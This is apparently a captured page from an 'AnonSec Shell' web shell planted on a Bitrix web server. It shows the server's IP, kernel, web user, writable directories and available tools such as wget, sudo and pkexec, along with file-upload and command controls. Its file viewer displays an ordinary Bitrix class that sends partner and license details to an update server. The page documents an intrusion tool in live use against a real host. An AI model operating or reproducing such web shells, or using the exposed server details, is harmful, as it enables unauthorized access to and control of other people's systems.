AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.119.109.8
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/main/lib/UpdateSystem/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/main/lib/UpdateSystem/PartnerInfoRequestBuilder.php
<?php

namespace Bitrix\Main\UpdateSystem;

use Bitrix\Main\Application;
use Bitrix\Main\License;
use Bitrix\Main\Web\HttpHeaders;
use Bitrix\Main\Web\Uri;

class PartnerInfoRequestBuilder implements RequestBuilderInterface
{
	private Request $request;
	private License $license;
	private string $name;
	private string $phone;
	private string $email;

	public function __construct(string $name, string $phone, string $email)
	{
		$this->name = $name;
		$this->email = $email;
		$this->phone = $phone;
		$this->request = new Request;
		$this->license = Application::getInstance()->getLicense();
	}

	public function setHeaders(): self
	{
		$headers = new HttpHeaders();
		$this->request->setHeaders($headers);

		return $this;
	}

	public function setUrl(): self
	{
		$url = new Uri($this->license->getDomainStoreLicense() . '/key_update.php');
		$this->request->setUrl($url);

		return $this;
	}

	public function setProxy(): self
	{
		$proxyData = [
			'host' => \COption::GetOptionString("main", "update_site_proxy_addr", ""),
			'port' => \COption::GetOptionString("main", "update_site_proxy_port", ""),
			'user' => \COption::GetOptionString("main", "update_site_proxy_user", ""),
			'password' => \COption::GetOptionString("main", "update_site_proxy_pass", ""),
		];

		$this->request->setProxy($proxyData);

		return $this;
	}

	public function setBody(): self
	{
		$portalInfo = new PortalInfo();
		$parameters = [
			'action' => 'send_partner_info',
			'license_key' => $this->license->getHashLicenseKey(),
			'partner_id' => $this->license->getPartnerId(),
			'phone' => $this->phone,
			'email' => $this->email,
			'name' => $this->name,
			'site' => $_SERVER['HTTP_HOST'],
		];

		$this->request->setBody($parameters);

		return $this;
	}

	public function build(): Request
	{
		return $this->request;
	}
}

Anon7 - 2022
AnonSec Team